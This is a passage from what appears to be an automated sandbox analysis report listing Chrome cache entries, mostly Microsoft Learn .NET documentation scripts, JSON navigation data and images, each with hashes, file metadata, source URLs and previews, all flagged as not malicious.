Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
